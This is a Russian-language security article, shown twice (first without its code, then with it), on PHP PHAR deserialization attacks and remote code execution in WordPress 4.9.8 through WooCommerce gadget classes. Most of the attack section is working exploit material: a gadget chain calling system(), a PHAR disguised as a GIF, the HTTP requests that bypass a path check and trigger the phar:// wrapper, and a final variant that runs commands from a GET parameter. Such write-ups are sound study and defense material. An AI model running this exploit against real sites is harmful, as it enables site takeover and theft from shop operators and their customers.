Опасный PHAR. Эксплуатируем проблемы десериализации в PHP на примере уязвимости в WordPress
В этой статье мы поговорим об особенностях уязвимостей десериализации данных в PHP, причем не простых, а реализуемых при помощи файлов архивов PHP — PHAR. Эта техника атаки может использовать безобидные, казалось бы, функции как опасные орудия эксплуатации. И превратить, например, SSRF в выполнение произвольного кода.
Пристальное внимание эта атака привлекла совсем недавно, поэтому существует огромное количество потенциально уязвимых приложений. Что касается уязвимости в WordPress, то о ней разработчикам сообщили аж в феврале 2017 года, но до сих пор никакого фикса они не выпустили.
Предыстория атаки
О возможности такой атаки начали много говорить после доклада Сэма Томаса (Sam Thomas) из Secarma на недавно прошедшем Black Hat USA 2018. Историю подхватили СМИ, и понеслось.
Хотя первые звоночки можно было заметить еще в багтрекере PHP в 2015 году. Тогда был создан тикет, в котором описывалась проблема чтения памяти за пределами выделенного буфера (buffer over-read) при десериализации метаданных архива PHAR.
Помимо этого, в 2017 году на HITCON CTF Quals в таске известного безопасника Orange Tsaiпод названием Baby^H Master PHP 2017 одним из пунктов правильного решения значилась эксплуатация этой особенности поведения PHP при работе с архивами PHAR.
Итак, сама идея не нова, а лишь недавно была раскручена и использована для проведения атак на реально существующие приложения. Пришло время пощупать все своими руками!
Стенд
Нет ничего проще, чем стенд с PHP. Чтобы не заморачиваться, можно взять из репозитория Docker любой контейнер приложения, написанного на этом языке. Мы планируем атаковать WordPress, так что его и возьмем.
После запуска контейнера устанавливаем нужные утилиты.
Затем скачиваем нужную версию WordPress. Фикса на данный момент до сих пор нет, так что можно скачивать любую.
Запускаем необходимые сервисы и создаем юзера и базу данных.
Осталось только установить расширение Woocommerce, создать пользователя с правами автора, и стенд готов к экспериментам.
Немного о PHAR
PHAR — это PHP Archive, специально сформированный архив, который может быть обработан и исполнен интерпретатором PHP. За это отвечает одноименный модуль PHAR, который входит в стандартную поставку PHP начиная с версии 5.3. Архивы PHAR были введены как удобный способ группировки и доставки файлов PHP. Можно упаковать целое приложение и все еще иметь возможность запустить его прямо из этого файла. При этом его не нужно даже распаковывать на диск. Так, например, поставляется менеджер модулей PEAR или всем известный composer.
Composer поставляется как единый файл PHAR
Для создания файлов PHAR можно использовать сам интерпретатор PHP.
create-phar.php
Чтобы иметь возможность создавать архивы, нужно запустить репозиторий с отключенной настройкой phar.readonly.
Создание тестового файла PHAR
По дефолту сжатие не используется.
Если мы попытаемся выполнить полученный файл, то интерпретатор вернет ошибку.
Попытка выполнить созданный тестовый файл PHAR номер раз
При простом обращении к файлу модуль пытается прочитать index.php. Так как этого файла в нашем архиве нет, возникает ошибка. Если мы немного дополним тестовый скрипт, то получим архив, который будет отрабатывать при прямом обращении к нему.
create-phar.php
Попытка выполнить созданный тестовый файл PHAR номер два
Любые архивы PHAR одинаково легко вызываются как непосредственно из командной строки, так и через веб-сервер. Модуль реализует эту функцию с помощью потоков. Чтобы вызывать какие-то конкретные скрипты из контейнера, существует враппер phar://.
exec-internal.php
Результатом выполнения будет строка Hello World!.
Что касается формата файла, то его описание можно найти в официальной документации, в том числе и на русском. Любой уважающий себя файл PHAR включает в себя заглушку, манифест, содержимое и подпись.
Пара слов о заглушке (stub). Она, как правило, содержит загрузчик, который выполняется при прямом запуске архива или когда его подключают через include без указания конкретного файла внутри.
По дефолту там находится обычный код на PHP, который после нескольких манипуляций инклудит index.php. Но никто не мешает нам указать собственный лоадер. Это можно сделать, используя метод Phar::setStub(). В качестве его параметра указываем код.
Последней структурой в заглушке всегда должна идти __HALT_COMPILER();. То есть минимально возможный код выглядит так:
Запомним, так как это пригодится нам чуть дальше.
Теперь нас интересует манифест, который содержит ключевую информацию о том, что включено в архив PHAR. Его структура выглядит следующим образом.
Структура манифеста PHAR-архива
Обрати внимание на раздел метаданных, они хранятся в формате serialize и могут быть как глобальными, так и привязанными к конкретному файлу. Установить глобальные метаданные можно при помощи метода Phar::setMetadata. В качестве аргумента можно передать любую переменную PHP.
test-metadata.php
Разумеется, можно передавать и экземпляры классов, благо формат предусматривает их сохранение. Давай попробуем сохранить в качестве метаданных класс, который содержит деструктор.
Воспользуемся кастомной заглушкой, чтобы иметь возможность выполнить файл PHAR без ошибок.
test-metadata-class-stub.php
Создание архива PHAR с объектом в качестве метаданных
Заглушка может содержать любой текст, в том числе и не код на PHP. Главное, чтобы в нем присутствовала указанная выше конструкция. А благодаря тому, что stub располагается в начале файла, можно обходить всяческие проверки и «превращать» архивы PHAR в файлы любого типа.
test-metadata-class-gif-stub.php
Создание архива PHAR с заголовком GIF в качестве заглушки
Теперь, если просто попробовать вызвать полученный архив (например, через file_get_contents), код внутри деструктора отработает. Конечно же, на момент вызова класс должен быть проинициализирован.
call-phar.php
Выполнение кода деструктора при чтении архива PHAR
То есть при наличии метаданных выполняется их десериализация, что подтверждают сорцыPHP.
/php-src/master/ext/phar/phar.c
Благодаря такому поведению мы имеем возможность проводить атаки типа «внедрение объектов PHP» (PHP Object Injection). Причем такое же поведение наблюдается при работе совсем безобидных на первый взгляд функций, вроде is_file.
Выполнение кода из деструктора при доступе к архиву PHAR при помощи is_file
В общем, подойдет большинство функций для работы с файловой системой и некоторые другие, работающие с потоками. Вот список наиболее интересных:
Теперь, когда мы знаем потенциальный вектор атаки, можно переходить от синтетических примеров к реальным.
RCE в WordPress через Woocommerce
Эксплуатация уязвимостей типа PHP Object Injection уже неоднократно разбиралась, в том числе и в моей статье об уязвимости в Processmaker. Вкратце: нам нужно найти цепочку гаджетов, то есть классов, в магических методах (__destruct, __wakeup, __toString и подобных), в которых происходит что-нибудь интересное. Например, при десериализации класса ниже мы сможем записать данные в любой файл.
Но это все абстракции, в реальных приложениях порой сложно найти что-нибудь более-менее полезное с точки зрения возможной эксплуатации.
В вышедших до ноября 2017-го версиях WordPress существовала цепочка, которая начиналась с одного метода __toString в классе WP_Theme и заканчивалась вызовом create_function из Translations::make_plural_form_function с контролируемыми параметрами. Но в текущих версиях такой роскоши в ядре пока не нашлось. Автолоадер классов WordPress тоже не использует, поэтому существует возможность использовать только те классы, которые были загружены на момент десериализации. Ввиду сложившихся обстоятельств нам придется обратиться к плагинам.
Woocommerce — популярнейшее расширение для создания магазина на основе WordPress. В нем и обнаружилась возможность эксплуатации этой уязвимости, которая приводит к выполнению произвольного кода.
Взглянем на метод current класса Requests_Utility_FilteredIterator из ядра WordPress.
/wordpress-4.9.8/wp-includes/Requests/Utility/FilteredIterator.php
Он выполняется при доступе к текущему элементу массива, например при их переборе через foreach.
test-arrayiterator.php
Вызов метода current при переборе через foreach экземпляра класса ArrayIterator
Если теперь найти такой класс, который в одном из «волшебных» методов выполняет перебор контролируемой юзером переменной через foreach, то можно выполнить произвольный код. И такой класс, как ты понимаешь, нашелся в Woocommerce.
/woocommerce-3.4.4/includes/log-handlers/class-wc-log-handler-file.php
Быстренько накидаем скрипт, который сгенерирует требуемую цепочку гаджетов для выполнения RCE.
woocommerce-rce-gadget.php
Сгенерированный гаджет для эксплуатации WordPress через Woocommerce
В качестве пейлоада я использовал system('uname -a'). Теперь его нужно как-то доставить на целевую систему. Отлично подойдет менеджер медиафайлов в WP. Кладем наш гаджет в метаданные архива и в качестве стаба указываем стандартный заголовок GIF.
wc-rce-gadget-to-phar.php
Создаем PHAR с полезной нагрузкой и заголовком GIF
Добавляем как минимум один файл в архив (строчка 19). Некоторые функции чувствительны к этому, и у меня никак не хотел отрабатывать сплоит, пока я не добавил в мой PHAR пустой файл. Меняем расширение файла с .phar на .gif и загружаем файлы в WordPress. Это можно сделать как через панель управления, так и через XML-RPC. По дефолту загрузка доступна только пользователям с правами автора и выше.
Загрузка PHAR в WordPress под видом гифки
Запоминаем ID и путь до загруженного файла. Дальше нужно каким-то образом вызвать файл через враппер phar. Посмотрим на функцию wp_get_attachment_thumb_file.
/wordpress-4.9.8/wp-includes/post.php
Она доступна через интерфейс XML-RPC при вызове метода wp.getMediaItem.
Запрос информации о загруженном файле через интерфейс XML-RPC с помощью метода wp.getMediaItem
Здесь переменная $thumbfile попадает в file_exists, которая понимает потоки. Помимо этого, $thumbfile зависит от $imagedata['thumb'] и $file. Если результат работы basename($file) будет равен самой переменной $file, тогда $thumbfile примет значение $imagedata['thumb'], а ее мы можем полностью контролировать при помощи запроса.
Посмотрим, откуда растут ноги переменной $file.
/wordpress-4.9.8/wp-includes/post.php
Она берется из метаданных загруженного файла, из поля _wp_attached_file, которое мы также можем изменять при помощи запроса на редактирование аттача. Для этого нужен валидный CSRF-токен _wpnonce, который можно взять из менеджера файлов WordPress. Интересующий нас параметр называется file.
Запрос на редактирование поля _wp_attached_file в метаданных аттача WordPress
Информация об аттаче после изменения _wp_attached_file
Взгляни на проверку ! preg_match( '|^.:\\\|', $file ). Ее можно обойти, используя абсолютные пути в стиле Windows. Если мы укажем A:\A в качестве параметра file, то условие не будет выполнено и переменная запишется в базу как есть, без префикса абсолютного пути до директории uploads.
Разумеется, это сработает только в Unix-подобных системах, в Windows поведение будет корректным.
Различное поведение basename в Linux и Windows
Дальше нам нужно обновить поле thumbnail. Это делается с помощью следующего запроса.
Я добавил отладчик в функцию wp_get_attachment_thumb_file для просмотра интересующих данных.
Состояние переменных после изменения метаданных загруженного файла
Ура-ура. Теперь то, что мы передадим в параметре thumb, будет попадать в функцию file_exists. Мы на финишной прямой. Передаем путь до нашей гифки с оберткой PHAR.
Выполнение произвольного кода в WordPress с помощью архива PHAR
Вуаля! Видим результат выполнения uname -a. А если слегка изменить код эксплоита, то можно выполнять код немного проще.
RCE в WordPress
Вот так можно проэксплуатировать уязвимость.
Демонстрация уязвимости (видео)
Выводы
Здесь я рассмотрел только одну атаку, которая касалась CMS WordPress. В докладе Сэма Томаса ты можешь найти детали о еще двух уязвимых приложениях. Первое из них — CMS с открытым исходным кодом TYPO3. Второе — библиотека TCPDF, которая повсеместно используется для формирования PDF-документов средствами PHP. Рассмотрена эксплуатация на основе CMS Contao.
В обоих случаях применяется похожий вектор атаки — загрузка файла через менеджер и последующий его вызов через SSRF. В качестве гаджета используется цепочка, которая была сгенерирована утилитой PHPGGC. Тулза написана автором презентации и крайне рекомендуется к использованию. Можно дописать свои модули с гаджетами.
Думаю, что популяризация этого вектора в ближайшее время аукнется нам интересными уязвимостями во многих приложениях на PHP. Что ж, будем ждать!
Автор: aLLy
В этой статье мы поговорим об особенностях уязвимостей десериализации данных в PHP, причем не простых, а реализуемых при помощи файлов архивов PHP — PHAR. Эта техника атаки может использовать безобидные, казалось бы, функции как опасные орудия эксплуатации. И превратить, например, SSRF в выполнение произвольного кода.
Пристальное внимание эта атака привлекла совсем недавно, поэтому существует огромное количество потенциально уязвимых приложений. Что касается уязвимости в WordPress, то о ней разработчикам сообщили аж в феврале 2017 года, но до сих пор никакого фикса они не выпустили.
Предыстория атаки
О возможности такой атаки начали много говорить после доклада Сэма Томаса (Sam Thomas) из Secarma на недавно прошедшем Black Hat USA 2018. Историю подхватили СМИ, и понеслось.
Хотя первые звоночки можно было заметить еще в багтрекере PHP в 2015 году. Тогда был создан тикет, в котором описывалась проблема чтения памяти за пределами выделенного буфера (buffer over-read) при десериализации метаданных архива PHAR.
Помимо этого, в 2017 году на HITCON CTF Quals в таске известного безопасника Orange Tsaiпод названием Baby^H Master PHP 2017 одним из пунктов правильного решения значилась эксплуатация этой особенности поведения PHP при работе с архивами PHAR.
Итак, сама идея не нова, а лишь недавно была раскручена и использована для проведения атак на реально существующие приложения. Пришло время пощупать все своими руками!
Стенд
Нет ничего проще, чем стенд с PHP. Чтобы не заморачиваться, можно взять из репозитория Docker любой контейнер приложения, написанного на этом языке. Мы планируем атаковать WordPress, так что его и возьмем.
Код:
$ docker run -it --rm -p80:80 --name=wprce --hostname=wprce debian /bin/bash
Код:
$ apt-get update && apt-get install -y mysql-server apache2 php php7.0-mysqli php7.0-xml nano wget
Код:
$ cd /tmp && wget https://wordpress.org/wordpress-4.9.8.tar.gz
$ tar xzf wordpress-4.9.8.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/
Код:
$ service mysql start && service apache2 start
$ mysql -u root -e "CREATE DATABASE wprce; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"
Осталось только установить расширение Woocommerce, создать пользователя с правами автора, и стенд готов к экспериментам.
Немного о PHAR
PHAR — это PHP Archive, специально сформированный архив, который может быть обработан и исполнен интерпретатором PHP. За это отвечает одноименный модуль PHAR, который входит в стандартную поставку PHP начиная с версии 5.3. Архивы PHAR были введены как удобный способ группировки и доставки файлов PHP. Можно упаковать целое приложение и все еще иметь возможность запустить его прямо из этого файла. При этом его не нужно даже распаковывать на диск. Так, например, поставляется менеджер модулей PEAR или всем известный composer.
Composer поставляется как единый файл PHAR
Для создания файлов PHAR можно использовать сам интерпретатор PHP.
create-phar.php
PHP:
1: <?php
2: @unlink("test.phar");
3: $phar = new Phar("test.phar");
4: $phar["helloworld.php"] = '<?php echo("Hello World!");';
PHP:
$ php -dphar.readonly=0 create-phar.php
Создание тестового файла PHAR
По дефолту сжатие не используется.
Если мы попытаемся выполнить полученный файл, то интерпретатор вернет ошибку.
Попытка выполнить созданный тестовый файл PHAR номер раз
При простом обращении к файлу модуль пытается прочитать index.php. Так как этого файла в нашем архиве нет, возникает ошибка. Если мы немного дополним тестовый скрипт, то получим архив, который будет отрабатывать при прямом обращении к нему.
create-phar.php
PHP:
1: <?php
2: @unlink("test.phar");
3: $phar = new Phar("test.phar");
4: $phar["helloworld.php"] = '<?php echo("Hello World!");';
5: $phar["index.php"] = '<?php echo("Hello from index!");';
Попытка выполнить созданный тестовый файл PHAR номер два
Любые архивы PHAR одинаково легко вызываются как непосредственно из командной строки, так и через веб-сервер. Модуль реализует эту функцию с помощью потоков. Чтобы вызывать какие-то конкретные скрипты из контейнера, существует враппер phar://.
exec-internal.php
PHP:
1: <?php
2: include('phar://test.phar/helloworld.php');
Что касается формата файла, то его описание можно найти в официальной документации, в том числе и на русском. Любой уважающий себя файл PHAR включает в себя заглушку, манифест, содержимое и подпись.
Пара слов о заглушке (stub). Она, как правило, содержит загрузчик, который выполняется при прямом запуске архива или когда его подключают через include без указания конкретного файла внутри.
По дефолту там находится обычный код на PHP, который после нескольких манипуляций инклудит index.php. Но никто не мешает нам указать собственный лоадер. Это можно сделать, используя метод Phar::setStub(). В качестве его параметра указываем код.
Последней структурой в заглушке всегда должна идти __HALT_COMPILER();. То есть минимально возможный код выглядит так:
PHP:
<?php __HALT_COMPILER();
Теперь нас интересует манифест, который содержит ключевую информацию о том, что включено в архив PHAR. Его структура выглядит следующим образом.
Структура манифеста PHAR-архива
Обрати внимание на раздел метаданных, они хранятся в формате serialize и могут быть как глобальными, так и привязанными к конкретному файлу. Установить глобальные метаданные можно при помощи метода Phar::setMetadata. В качестве аргумента можно передать любую переменную PHP.
test-metadata.php
PHP:
1: <?php
2: @unlink('test.phar');
3: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
4: $p['file.php'] = '<?php echo("Hello World!");';
5: $p->setMetadata(['anything' => 'you_want']);
6: var_dump($p->getMetadata());
PHP:
01: <?php
02: @unlink('test.phar');
03: class Destructor {
04: function __destruct() {
05: echo "It's alive!";
06: }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p['file.php'] = '<?php echo("Hello World!");';
10: $p->setMetadata(new Destructor());
test-metadata-class-stub.php
PHP:
01: <?php
02: @unlink('test.phar');
03: class Destructor {
04: function __destruct() {
05: echo "It's alive!";
06: }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p['file.php'] = '<?php echo("Hello World!");';
10: $p->setMetadata(new Destructor());
11: $p->setStub('<?php __HALT_COMPILER();');
Создание архива PHAR с объектом в качестве метаданных
Заглушка может содержать любой текст, в том числе и не код на PHP. Главное, чтобы в нем присутствовала указанная выше конструкция. А благодаря тому, что stub располагается в начале файла, можно обходить всяческие проверки и «превращать» архивы PHAR в файлы любого типа.
test-metadata-class-gif-stub.php
PHP:
01: <?php
02: @unlink('test.phar');
03: class Destructor {
04: function __destruct() {
05: echo "It's alive!";
06: }
07: }
08: $p = new Phar(dirname(__FILE__) . '/test.phar', 0);
09: $p->setMetadata(new Destructor());
10: $p->setStub('GIF89a<?php __HALT_COMPILER();');
Создание архива PHAR с заголовком GIF в качестве заглушки
Теперь, если просто попробовать вызвать полученный архив (например, через file_get_contents), код внутри деструктора отработает. Конечно же, на момент вызова класс должен быть проинициализирован.
call-phar.php
PHP:
1: <?php
2: class Destructor {
3: function __destruct() {
4: echo "It's alive!";
5: }
6: }
7: file_get_contents("phar://test.phar");
Выполнение кода деструктора при чтении архива PHAR
То есть при наличии метаданных выполняется их десериализация, что подтверждают сорцыPHP.
/php-src/master/ext/phar/phar.c
Код:
607: int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len) /* {{{ */
608: {
609: php_unserialize_data_t var_hash;
610:
611: if (zip_metadata_len) {
...
616: PHP_VAR_UNSERIALIZE_INIT(var_hash);
617:
618: if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
Выполнение кода из деструктора при доступе к архиву PHAR при помощи is_file
В общем, подойдет большинство функций для работы с файловой системой и некоторые другие, работающие с потоками. Вот список наиболее интересных:
- file
- file_exists
- file_get_contents
- filesize
- fopen
- getimagesize
- is_dir
- is_file
- is_readable
- is_writable
- stat
Теперь, когда мы знаем потенциальный вектор атаки, можно переходить от синтетических примеров к реальным.
RCE в WordPress через Woocommerce
Эксплуатация уязвимостей типа PHP Object Injection уже неоднократно разбиралась, в том числе и в моей статье об уязвимости в Processmaker. Вкратце: нам нужно найти цепочку гаджетов, то есть классов, в магических методах (__destruct, __wakeup, __toString и подобных), в которых происходит что-нибудь интересное. Например, при десериализации класса ниже мы сможем записать данные в любой файл.
PHP:
class DumbWakeUp {
...
function __wakeup() {
file_put_contents($this->file, $this->data);
}
}
В вышедших до ноября 2017-го версиях WordPress существовала цепочка, которая начиналась с одного метода __toString в классе WP_Theme и заканчивалась вызовом create_function из Translations::make_plural_form_function с контролируемыми параметрами. Но в текущих версиях такой роскоши в ядре пока не нашлось. Автолоадер классов WordPress тоже не использует, поэтому существует возможность использовать только те классы, которые были загружены на момент десериализации. Ввиду сложившихся обстоятельств нам придется обратиться к плагинам.
Woocommerce — популярнейшее расширение для создания магазина на основе WordPress. В нем и обнаружилась возможность эксплуатации этой уязвимости, которая приводит к выполнению произвольного кода.
Взглянем на метод current класса Requests_Utility_FilteredIterator из ядра WordPress.
/wordpress-4.9.8/wp-includes/Requests/Utility/FilteredIterator.php
PHP:
15: class Requests_Utility_FilteredIterator extends ArrayIterator {
16: /**
17: * Callback to run as a filter
18: *
19: * @var callable
20: */
21: protected $callback;
...
40: public function current() {
41: $value = parent::current();
42: $value = call_user_func($this->callback, $value);
43: return $value;
44: }
test-arrayiterator.php
PHP:
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03: public function __construct($data) {
04: parent::__construct($data);
05: }
06: public function current() {
07: $value = parent::current();
08: var_dump($value);
09: return $value;
10: }
11: }
12: $o = new Requests_Utility_FilteredIterator(['random', 'array', 'elements']);
13: foreach ($o as $value) {
14: }
Вызов метода current при переборе через foreach экземпляра класса ArrayIterator
Если теперь найти такой класс, который в одном из «волшебных» методов выполняет перебор контролируемой юзером переменной через foreach, то можно выполнить произвольный код. И такой класс, как ты понимаешь, нашелся в Woocommerce.
/woocommerce-3.4.4/includes/log-handlers/class-wc-log-handler-file.php
PHP:
19: class WC_Log_Handler_File extends WC_Log_Handler {
...
26: protected $handles = array();
...
65: public function __destruct() {
66: foreach ( $this->handles as $handle ) {
67: if ( is_resource( $handle ) ) {
68: fclose( $handle ); // @codingStandardsIgnoreLine.
69: }
70: }
71: }
woocommerce-rce-gadget.php
PHP:
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03: protected $callback;
04: public function __construct($data, $callback) {
05: parent::__construct($data);
06: $this->callback = $callback;
07: }
08: }
09: class WC_Log_Handler_File {
10: protected $handles;
11: public function __construct() {
12: $this->handles = new Requests_Utility_FilteredIterator(array('uname -a'), 'system');
13: }
14: }
15: $o = new WC_Log_Handler_File();
16: var_dump(serialize($o));
Сгенерированный гаджет для эксплуатации WordPress через Woocommerce
В качестве пейлоада я использовал system('uname -a'). Теперь его нужно как-то доставить на целевую систему. Отлично подойдет менеджер медиафайлов в WP. Кладем наш гаджет в метаданные архива и в качестве стаба указываем стандартный заголовок GIF.
wc-rce-gadget-to-phar.php
PHP:
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03: protected $callback;
04: public function __construct($data, $callback) {
05: parent::__construct($data);
06: $this->callback = $callback;
07: }
08: }
09: class WC_Log_Handler_File {
10: protected $handles;
11: public function __construct() {
12: $this->handles = new Requests_Utility_FilteredIterator(array('uname -a'), 'system');
13: }
14: }
15: @unlink('rce.phar');
16: $p = new Phar(dirname(__FILE__) . '/rce.phar', 0);
17: $p->setMetadata(new WC_Log_Handler_File());
18: $p->setStub('GIF89a<?php __HALT_COMPILER();');
19: $p['any'] = '';
Создаем PHAR с полезной нагрузкой и заголовком GIF
Добавляем как минимум один файл в архив (строчка 19). Некоторые функции чувствительны к этому, и у меня никак не хотел отрабатывать сплоит, пока я не добавил в мой PHAR пустой файл. Меняем расширение файла с .phar на .gif и загружаем файлы в WordPress. Это можно сделать как через панель управления, так и через XML-RPC. По дефолту загрузка доступна только пользователям с правами автора и выше.
Загрузка PHAR в WordPress под видом гифки
Запоминаем ID и путь до загруженного файла. Дальше нужно каким-то образом вызвать файл через враппер phar. Посмотрим на функцию wp_get_attachment_thumb_file.
/wordpress-4.9.8/wp-includes/post.php
PHP:
5334: function wp_get_attachment_thumb_file( $post_id = 0 ) {
5335: $post_id = (int) $post_id;
5336: if ( !$post = get_post( $post_id ) )
5337: return false;
5338: if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
5339: return false;
5340:
5341: $file = get_attached_file( $post->ID );
5342:
5343: if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
PHP:
POST /xmlrpc.php HTTP/1.1
Host: wprce.vh
Content-Type: text/xml
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>wp.getMediaItem</methodName>
<params>
<param>
<value>
<int>1</int>
</value>
</param>
<param>
<value>
<string>author</string>
</value>
</param>
<param>
<value>
<string>author</string>
</value>
</param>
<param>
<value>
<int>10</int>
</value>
</param>
</params>
</methodCall>
Запрос информации о загруженном файле через интерфейс XML-RPC с помощью метода wp.getMediaItem
Здесь переменная $thumbfile попадает в file_exists, которая понимает потоки. Помимо этого, $thumbfile зависит от $imagedata['thumb'] и $file. Если результат работы basename($file) будет равен самой переменной $file, тогда $thumbfile примет значение $imagedata['thumb'], а ее мы можем полностью контролировать при помощи запроса.
Посмотрим, откуда растут ноги переменной $file.
/wordpress-4.9.8/wp-includes/post.php
PHP:
331: function get_attached_file( $attachment_id, $unfiltered = false ) {
332: $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
333:
334: // If the file is relative, prepend upload dir
335: if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
336: $file = $uploads['basedir'] . "/$file";
337: }
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Type: application/x-www-form-urlencoded
Cookie: cookies
_wpnonce=ffffffff&post_type=attachment&post_ID=10&file=ANYTHING
Запрос на редактирование поля _wp_attached_file в метаданных аттача WordPress
Информация об аттаче после изменения _wp_attached_file
Взгляни на проверку ! preg_match( '|^.:\\\|', $file ). Ее можно обойти, используя абсолютные пути в стиле Windows. Если мы укажем A:\A в качестве параметра file, то условие не будет выполнено и переменная запишется в базу как есть, без префикса абсолютного пути до директории uploads.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Type: application/x-www-form-urlencoded
Cookie: cookies
_wpnonce=ffffffff&post_type=attachment&post_ID=10&file=A:\A
Различное поведение basename в Linux и Windows
Дальше нам нужно обновить поле thumbnail. Это делается с помощью следующего запроса.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Type: application/x-www-form-urlencoded
Cookie: cookie
_wpnonce=ffffffff&action=editattachment&post_type=attachment&post_ID=10&thumb=TEST
Состояние переменных после изменения метаданных загруженного файла
Ура-ура. Теперь то, что мы передадим в параметре thumb, будет попадать в функцию file_exists. Мы на финишной прямой. Передаем путь до нашей гифки с оберткой PHAR.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Type: application/x-www-form-urlencoded
Cookie: cookie
_wpnonce=ffffffff&action=editattachment&post_type=attachment&post_ID=10&thumb=phar://./wp-content/uploads/2018/08/rce.gif
Выполнение произвольного кода в WordPress с помощью архива PHAR
Вуаля! Видим результат выполнения uname -a. А если слегка изменить код эксплоита, то можно выполнять код немного проще.
PHP:
01: <?php
02: class Requests_Utility_FilteredIterator extends ArrayIterator {
03: protected $callback;
04: public function __construct($data, $callback) {
05: parent::__construct($data);
06: $this->callback = $callback;
07: }
08: }
09: class WC_Log_Handler_File {
10: protected $handles;
11: public function __construct() {
12: $this->handles = new Requests_Utility_FilteredIterator(['system($_GET["cmd"])'], 'assert');
13: }
14: }
15: @unlink('rce.phar');
16: $p = new Phar(dirname(__FILE__) . '/rce.phar', 0);
17: $p->setMetadata(new WC_Log_Handler_File());
18: $p->setStub('GIF89a<?php __HALT_COMPILER();');
19: $p['any'] = '';
RCE в WordPress
Вот так можно проэксплуатировать уязвимость.
Демонстрация уязвимости (видео)
Выводы
Здесь я рассмотрел только одну атаку, которая касалась CMS WordPress. В докладе Сэма Томаса ты можешь найти детали о еще двух уязвимых приложениях. Первое из них — CMS с открытым исходным кодом TYPO3. Второе — библиотека TCPDF, которая повсеместно используется для формирования PDF-документов средствами PHP. Рассмотрена эксплуатация на основе CMS Contao.
В обоих случаях применяется похожий вектор атаки — загрузка файла через менеджер и последующий его вызов через SSRF. В качестве гаджета используется цепочка, которая была сгенерирована утилитой PHPGGC. Тулза написана автором презентации и крайне рекомендуется к использованию. Можно дописать свои модули с гаджетами.
Думаю, что популяризация этого вектора в ближайшее время аукнется нам интересными уязвимостями во многих приложениях на PHP. Что ж, будем ждать!
Автор: aLLy